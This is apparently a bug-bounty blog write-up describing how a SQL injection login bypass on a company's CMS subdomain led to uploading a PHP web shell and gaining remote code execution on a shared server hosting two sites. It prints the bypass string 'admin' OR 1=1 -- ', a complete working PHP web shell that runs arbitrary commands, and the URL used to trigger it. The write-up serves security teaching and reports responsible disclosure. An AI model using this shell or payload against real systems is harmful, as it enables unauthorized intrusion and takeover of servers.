Upload2Own: How SQL Injection and File Upload Flaws Lead to Remote Code Execution

3 min readJun 10, 2025

A story of persistence, subdomain hunting, and how one file upload gave me RCE on two sites.

🔍 Recon: The Hunt Begins

Like most bug bounty journeys, this one started with a lot of nothing.

I was poking around a public website of a company, running routine tests — parameter tampering, hidden directories, endpoint fuzzing — but nothing stood out. No low-hanging fruit, no juicy headers, no outdated tech stack.

But as always, I didn’t stop there.

Digging deeper, I decided to enumerate subdomains. Tools like assetfinder, amass, and sublist3r, shodan came in handy. That’s when I found something interesting — a subdomain that pointed to a completely different business vertical, but still under the same parent company.

Let’s call it:
cms.example-company.com

🛠 SQL Injection: The Breakthrough

This subdomain had a login panel. Nothing fancy — just a basic username and password field. But the behavior of the error messages gave me that familiar gut feeling.

So, I tried the classic:

admin' OR 1=1 -- '

And just like that — I was in.

It confirmed a basic unauthenticated SQL Injection in the login form. No WAF, no input sanitization, no prepared statements.

🖼️ File Upload to Shell

Inside the CMS, there was a feature to add testimonials, along with an image upload option.

So I created a simple PHP web shell:

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>

Named it shell.php and tried uploading it through the image field.

Shockingly, it got uploaded.
I browsed to the uploaded file’s path, appended ?cmd=whoami, and executed it.

https://cms.example-company.com/assets/images/shell.php?cmd=whoami

And got a response:

corpodh7

Just like that, I had Remote Code Execution.

🌐 Plot Twist: A Shared Host

While exploring the server through my web shell, I noticed something weird — another public_html folder for a different domain.

Turns out the original site — the one where I began my recon — was also hosted here. Both subdomains were on the same VPS.

Now I had access to both.

🔓 From SQLi to Full Server Pwn

Entry Point:
Unsecured login panel with SQL Injection
➡️ Leads to CMS access

Vulnerability Chain:
CMS file upload allowed PHP
➡️ Executed shell = RCE

Discovery:
Shared server
➡️ Gained control over another production website

This is what chaining vulnerabilities looks like — the smallest crack can collapse the whole system.

🧠 Key Takeaways

Subdomain enumeration matters. Don’t stop at the main site.
Even if the main app is secure, other business units might be weak links.
Always test file uploads — they’re goldmines.
Chained bugs often lead to massive impact.

⚠️ Responsible Disclosure

This vulnerability was disclosed responsibly to the organization. No data was modified or accessed beyond what’s shown for research and educational purposes.

🧬 Final Thoughts

This bug taught me that the boring parts — like subdomain recon — often hold the key. From a login bypass to uploading a PHP file, I never imagined it would lead back full circle to the main site itself.

That’s why I call it:

Upload2Own: Because sometimes one upload is all it takes to own the entire infrastructure.